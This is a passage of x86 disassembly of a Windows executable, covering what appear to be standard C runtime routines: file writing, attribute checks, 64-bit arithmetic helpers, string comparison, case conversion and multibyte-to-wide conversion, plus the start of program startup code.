loc_41A1D9: ; CODE XREF: sub_41A1B0+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_41A1F4
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_41A1FB
; ---------------------------------------------------------------------------
loc_41A1F4: ; CODE XREF: sub_41A1B0+37j
mov [ebp+var_1C], 1000h
loc_41A1FB: ; CODE XREF: sub_41A1B0+42j
; sub_41A1B0:loc_41A3BDj
cmp [ebp+var_C], 0
jz loc_41A3C2
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz short loc_41A289
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_41A289
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_41A231
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_41A23A
; ---------------------------------------------------------------------------
loc_41A231: ; CODE XREF: sub_41A1B0+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_41A23A: ; CODE XREF: sub_41A1B0+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
push ecx
call sub_419330
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_41A3BD
; ---------------------------------------------------------------------------
loc_41A289: ; CODE XREF: sub_41A1B0+63j
; sub_41A1B0+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_41A35F
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
and eax, 108h
test eax, eax
jz short loc_41A2C4
mov ecx, [ebp+arg_C]
push ecx
call sub_41B920
add esp, 4
test eax, eax
jz short loc_41A2C4
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41A3C5
; ---------------------------------------------------------------------------
loc_41A2C4: ; CODE XREF: sub_41A1B0+F2j
; sub_41A1B0+102j
cmp [ebp+var_1C], 0
jz short loc_41A2DC
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_41A2E2
; ---------------------------------------------------------------------------
loc_41A2DC: ; CODE XREF: sub_41A1B0+118j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_41A2E2: ; CODE XREF: sub_41A1B0+12Aj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_426840
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41A327
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41A3C5
; ---------------------------------------------------------------------------
loc_41A327: ; CODE XREF: sub_41A1B0+156j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
mov eax, [ebp+var_14]
cmp eax, [ebp+var_18]
jnb short loc_41A35D
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41A3C5
; ---------------------------------------------------------------------------
loc_41A35D: ; CODE XREF: sub_41A1B0+18Fj
jmp short loc_41A3BD
; ---------------------------------------------------------------------------
loc_41A35F: ; CODE XREF: sub_41A1B0+DFj
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_420720
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_41A38A
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41A3C5
; ---------------------------------------------------------------------------
loc_41A38A: ; CODE XREF: sub_41A1B0+1CBj
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+18h], 0
jle short loc_41A3B0
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_28], eax
jmp short loc_41A3B7
; ---------------------------------------------------------------------------
loc_41A3B0: ; CODE XREF: sub_41A1B0+1F3j
mov [ebp+var_28], 1
loc_41A3B7: ; CODE XREF: sub_41A1B0+1FEj
mov ecx, [ebp+var_28]
mov [ebp+var_1C], ecx
loc_41A3BD: ; CODE XREF: sub_41A1B0+D4j
; sub_41A1B0:loc_41A35Dj
jmp loc_41A1FB
; ---------------------------------------------------------------------------
loc_41A3C2: ; CODE XREF: sub_41A1B0+4Fj
mov eax, [ebp+arg_8]
loc_41A3C5: ; CODE XREF: sub_41A1B0+24j
; sub_41A1B0+10Fj ...
mov esp, ebp
pop ebp
retn
sub_41A1B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3D0 proc near ; CODE XREF: sub_41114F+8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call dword_4E035C ; GetFileAttributesA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41A3FB
call dword_4E0350 ; RtlGetLastWin32Error
push eax
call sub_422430
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41A42C
; ---------------------------------------------------------------------------
loc_41A3FB: ; CODE XREF: sub_41A3D0+15j
mov ecx, [ebp+var_4]
and ecx, 1
test ecx, ecx
jz short loc_41A42A
mov edx, [ebp+arg_4]
and edx, 2
test edx, edx
jz short loc_41A42A
call sub_4224D0
mov dword ptr [eax], 0Dh
call sub_4224E0
mov dword ptr [eax], 5
or eax, 0FFFFFFFFh
jmp short loc_41A42C
; ---------------------------------------------------------------------------
loc_41A42A: ; CODE XREF: sub_41A3D0+33j
; sub_41A3D0+3Dj
xor eax, eax
loc_41A42C: ; CODE XREF: sub_41A3D0+29j
; sub_41A3D0+58j
mov esp, ebp
pop ebp
retn
sub_41A3D0 endp
; =============== S U B R O U T I N E =======================================
sub_41A430 proc near ; CODE XREF: sub_411169+3Fp
; sub_4146F0+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41A452
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41A493
; ---------------------------------------------------------------------------
loc_41A452: ; CODE XREF: sub_41A430+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41A460: ; CODE XREF: sub_41A430+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41A460
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41A48E
cmp edx, [esp+8+arg_4]
ja short loc_41A48E
jb short loc_41A48F
cmp eax, [esp+8+arg_0]
jbe short loc_41A48F
loc_41A48E: ; CODE XREF: sub_41A430+4Ej
; sub_41A430+54j
dec esi
loc_41A48F: ; CODE XREF: sub_41A430+56j
; sub_41A430+5Cj
xor edx, edx
mov eax, esi
loc_41A493: ; CODE XREF: sub_41A430+20j
pop esi
pop ebx
retn 10h
sub_41A430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A4A0 proc near ; CODE XREF: sub_411169+2Dp
; sub_4146F0+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41A4C1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41A511
; ---------------------------------------------------------------------------
loc_41A4C1: ; CODE XREF: sub_41A4A0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41A4CF: ; CODE XREF: sub_41A4A0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41A4CF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41A4FA
cmp edx, [esp+4+arg_4]
ja short loc_41A4FA
jb short loc_41A502
cmp eax, [esp+4+arg_0]
jbe short loc_41A502
loc_41A4FA: ; CODE XREF: sub_41A4A0+4Aj
; sub_41A4A0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41A502: ; CODE XREF: sub_41A4A0+52j
; sub_41A4A0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41A511: ; CODE XREF: sub_41A4A0+1Fj
pop ebx
retn 10h
sub_41A4A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A520 proc near ; CODE XREF: sub_411278+5Ep
; sub_411278+8Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41A541
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41A541: ; CODE XREF: sub_41A520+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41A55D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41A55D: ; CODE XREF: sub_41A520+27j
or eax, eax
jnz short loc_41A579
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41A5BA
; ---------------------------------------------------------------------------
loc_41A579: ; CODE XREF: sub_41A520+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41A587: ; CODE XREF: sub_41A520+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41A587
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41A5B5
cmp edx, [esp+0Ch+arg_4]
ja short loc_41A5B5
jb short loc_41A5B6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41A5B6
loc_41A5B5: ; CODE XREF: sub_41A520+85j
; sub_41A520+8Bj
dec esi
loc_41A5B6: ; CODE XREF: sub_41A520+8Dj
; sub_41A520+93j
xor edx, edx
mov eax, esi
loc_41A5BA: ; CODE XREF: sub_41A520+57j
dec edi
jnz short loc_41A5C4
neg edx
neg eax
sbb edx, 0
loc_41A5C4: ; CODE XREF: sub_41A520+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41A520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A5D0 proc near ; CODE XREF: sub_411757+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41A61C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41A61D
test eax, 1
jz short loc_41A5FD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41A64A
inc esi
inc edi
dec eax
jz short loc_41A61A
loc_41A5FD: ; CODE XREF: sub_41A5D0+20j
; sub_41A5D0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41A64A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41A64A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41A5FD
loc_41A61A: ; CODE XREF: sub_41A5D0+2Bj
; sub_41A5D0+84j
pop edi
pop esi
locret_41A61C: ; CODE XREF: sub_41A5D0+6j
retn
; ---------------------------------------------------------------------------
loc_41A61D: ; CODE XREF: sub_41A5D0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41A652
repe cmpsd
jz short loc_41A652
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41A645
cmp ch, dh
jnz short loc_41A645
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41A645
cmp ch, dh
loc_41A645: ; CODE XREF: sub_41A5D0+63j
; sub_41A5D0+67j ...
mov eax, 0
loc_41A64A: ; CODE XREF: sub_41A5D0+26j
; sub_41A5D0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A652: ; CODE XREF: sub_41A5D0+55j
; sub_41A5D0+59j
test eax, eax
jz short loc_41A61A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41A645
dec eax
jz short loc_41A679
cmp dh, ch
jnz short loc_41A645
dec eax
jz short loc_41A679
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41A645
dec eax
loc_41A679: ; CODE XREF: sub_41A5D0+8Fj
; sub_41A5D0+96j
pop edi
pop esi
retn
sub_41A5D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A690 proc near ; CODE XREF: sub_411A6E+6p
; sub_411A8C+48p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DE074, 0
jnz short loc_41A6B7
cmp [ebp+arg_0], 41h
jl short loc_41A6B2
cmp [ebp+arg_0], 5Ah
jg short loc_41A6B2
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41A6B2: ; CODE XREF: sub_41A690+11j
; sub_41A690+17j
mov eax, [ebp+arg_0]
jmp short loc_41A71F
; ---------------------------------------------------------------------------
loc_41A6B7: ; CODE XREF: sub_41A690+Bj
push offset dword_4DE428
call dword_4E0454 ; InterlockedIncrement
cmp dword_4DE424, 0
jz short loc_41A6E9
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
push 13h
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41A6F0
; ---------------------------------------------------------------------------
loc_41A6E9: ; CODE XREF: sub_41A690+39j
mov [ebp+var_4], 0
loc_41A6F0: ; CODE XREF: sub_41A690+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_41A730
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_41A711
push 13h
call sub_41BD20
add esp, 4
jmp short loc_41A71C
; ---------------------------------------------------------------------------
loc_41A711: ; CODE XREF: sub_41A690+73j
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
loc_41A71C: ; CODE XREF: sub_41A690+7Fj
mov eax, [ebp+arg_0]
loc_41A71F: ; CODE XREF: sub_41A690+25j
mov esp, ebp
pop ebp
retn
sub_41A690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A730 proc near ; CODE XREF: sub_41A690+64p
; sub_431210+94p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4DE074, 0
jnz short loc_41A75C
cmp [ebp+arg_0], 41h
jl short loc_41A754
cmp [ebp+arg_0], 5Ah
jg short loc_41A754
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41A754: ; CODE XREF: sub_41A730+13j
; sub_41A730+19j
mov eax, [ebp+arg_0]
jmp loc_41A857
; ---------------------------------------------------------------------------
loc_41A75C: ; CODE XREF: sub_41A730+Dj
cmp [ebp+arg_0], 100h
jge short loc_41A7A3
cmp dword_447480, 1
jle short loc_41A781
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41A795
; ---------------------------------------------------------------------------
loc_41A781: ; CODE XREF: sub_41A730+3Cj
mov edx, [ebp+arg_0]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 1
mov [ebp+var_10], ecx
loc_41A795: ; CODE XREF: sub_41A730+4Fj
cmp [ebp+var_10], 0
jnz short loc_41A7A3
mov eax, [ebp+arg_0]
jmp loc_41A857
; ---------------------------------------------------------------------------
loc_41A7A3: ; CODE XREF: sub_41A730+33j
; sub_41A730+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_41A7EC
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_41A7FD
; ---------------------------------------------------------------------------
loc_41A7EC: ; CODE XREF: sub_41A730+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_41A7FD: ; CODE XREF: sub_41A730+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 100h
mov edx, dword_4DE074
push edx
call sub_4275A0
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41A831
mov eax, [ebp+arg_0]
jmp short loc_41A857
; ---------------------------------------------------------------------------
loc_41A831: ; CODE XREF: sub_41A730+FAj
cmp [ebp+var_4], 1
jnz short loc_41A841
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_41A857
; ---------------------------------------------------------------------------
loc_41A841: ; CODE XREF: sub_41A730+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_41A857: ; CODE XREF: sub_41A730+27j
; sub_41A730+6Ej ...
mov esp, ebp
pop ebp
retn
sub_41A730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A860 proc near ; CODE XREF: sub_412159+9Cp
; sub_41313B+55p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41A86A: ; CODE XREF: sub_41A860+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
test edx, edx
jz short loc_41A881
jmp short loc_41A86A
; ---------------------------------------------------------------------------
loc_41A881: ; CODE XREF: sub_41A860+1Dj
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
sub eax, 1
mov esp, ebp
pop ebp
retn
sub_41A860 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A890 proc near ; CODE XREF: sub_412159+6Ep
; sub_412159+7Fp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4DE428
call dword_4E0454 ; InterlockedIncrement
cmp dword_4DE424, 0
jz short loc_41A8C8
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
push 13h
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41A8CF
; ---------------------------------------------------------------------------
loc_41A8C8: ; CODE XREF: sub_41A890+18j
mov [ebp+var_4], 0
loc_41A8CF: ; CODE XREF: sub_41A890+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41A910
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_41A8F8
push 13h
call sub_41BD20
add esp, 4
jmp short loc_41A903
; ---------------------------------------------------------------------------
loc_41A8F8: ; CODE XREF: sub_41A890+5Aj
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
loc_41A903: ; CODE XREF: sub_41A890+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41A890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A910 proc near ; CODE XREF: sub_41A890+4Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jz short loc_41A933
cmp [ebp+arg_8], 0
jnz short loc_41A933
xor eax, eax
jmp loc_41AAF4
; ---------------------------------------------------------------------------
loc_41A933: ; CODE XREF: sub_41A910+14j
; sub_41A910+1Aj ...
cmp [ebp+arg_4], 0
jnz short loc_41A957
push offset dword_434D64
push 0
push 55h
push offset dword_434D58
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41A957
int 3 ; Trap to Debugger
loc_41A957: ; CODE XREF: sub_41A910+27j
; sub_41A910+44j
xor eax, eax
test eax, eax
jnz short loc_41A933
cmp [ebp+arg_0], 0
jz loc_41AAA6
cmp dword_4DE074, 0
jnz short loc_41A9B9
loc_41A970: ; CODE XREF: sub_41A910+9Fj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41A9B1
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movzx ax, byte ptr [edx]
mov ecx, [ebp+arg_0]
mov [ecx], ax
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_41A99D
mov eax, [ebp+var_4]
jmp loc_41AAF4
; ---------------------------------------------------------------------------
loc_41A99D: ; CODE XREF: sub_41A910+83j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
jmp short loc_41A970
; ---------------------------------------------------------------------------
loc_41A9B1: ; CODE XREF: sub_41A910+66j
mov eax, [ebp+var_4]
jmp loc_41AAF4
; ---------------------------------------------------------------------------
loc_41A9B9: ; CODE XREF: sub_41A910+5Ej
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_4DE084
push eax
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41A9E9
mov eax, [ebp+var_4]
sub eax, 1
jmp loc_41AAF4
; ---------------------------------------------------------------------------
loc_41A9E9: ; CODE XREF: sub_41A910+CCj
call dword_4E0350 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_41AA07
call sub_4224D0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_41AAF4
; ---------------------------------------------------------------------------
loc_41AA07: ; CODE XREF: sub_41A910+E2j
mov ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
jmp short loc_41AA1E
; ---------------------------------------------------------------------------
loc_41AA15: ; CODE XREF: sub_41A910:loc_41AA5Fj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_41AA1E: ; CODE XREF: sub_41A910+103j
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_41AA61
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_41AA61
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_41AA5F
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_41AA5F: ; CODE XREF: sub_41A910+144j
jmp short loc_41AA15
; ---------------------------------------------------------------------------
loc_41AA61: ; CODE XREF: sub_41A910+11Cj
; sub_41A910+127j
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_4]
push edx
push 1
mov eax, dword_4DE084
push eax
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41AAA1
call sub_4224D0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41AAF4
; ---------------------------------------------------------------------------
loc_41AAA1: ; CODE XREF: sub_41A910+17Fj
mov eax, [ebp+var_4]
jmp short loc_41AAF4
; ---------------------------------------------------------------------------
loc_41AAA6: ; CODE XREF: sub_41A910+51j
cmp dword_4DE074, 0
jnz short loc_41AABD
mov ecx, [ebp+arg_4]
push ecx
call sub_414EC0
add esp, 4
jmp short loc_41AAF4
; ---------------------------------------------------------------------------
loc_41AABD: ; CODE XREF: sub_41A910+19Dj
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_4DE084
push eax
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41AAEE
call sub_4224D0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41AAF4
; ---------------------------------------------------------------------------
loc_41AAEE: ; CODE XREF: sub_41A910+1CCj
mov eax, [ebp+var_4]
sub eax, 1
loc_41AAF4: ; CODE XREF: sub_41A910+1Ej
; sub_41A910+88j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41A910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB00 proc near ; CODE XREF: start+8C0p
; DATA XREF: .ex_cod:off_50103Co
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434D70
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFA4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_4E0460 ; GetVersion
mov dword_4DDF84, eax
mov eax, dword_4DDF84
shr eax, 8
and eax, 0FFh
mov dword_4DDF90, eax
mov ecx, dword_4DDF84
and ecx, 0FFh
mov dword_4DDF8C, ecx
mov edx, dword_4DDF8C
shl edx, 8
add edx, dword_4DDF90
mov dword_4DDF88, edx
mov eax, dword_4DDF84
shr eax, 10h
and eax, 0FFFFh
mov dword_4DDF84, eax
push 1
call sub_41F8C0
add esp, 4
test eax, eax
jnz short loc_41AB94
push 1Ch
call sub_41ACA0
add esp, 4
loc_41AB94: ; CODE XREF: sub_41AB00+88j
call sub_421840
test eax, eax
jnz short loc_41ABA7
push 10h
call sub_41ACA0
add esp, 4
loc_41ABA7: ; CODE XREF: sub_41AB00+9Bj
mov [ebp+var_4], 0
call sub_428460
call dword_4E045C ; GetCommandLineA
mov dword_4DF684, eax
call sub_428240
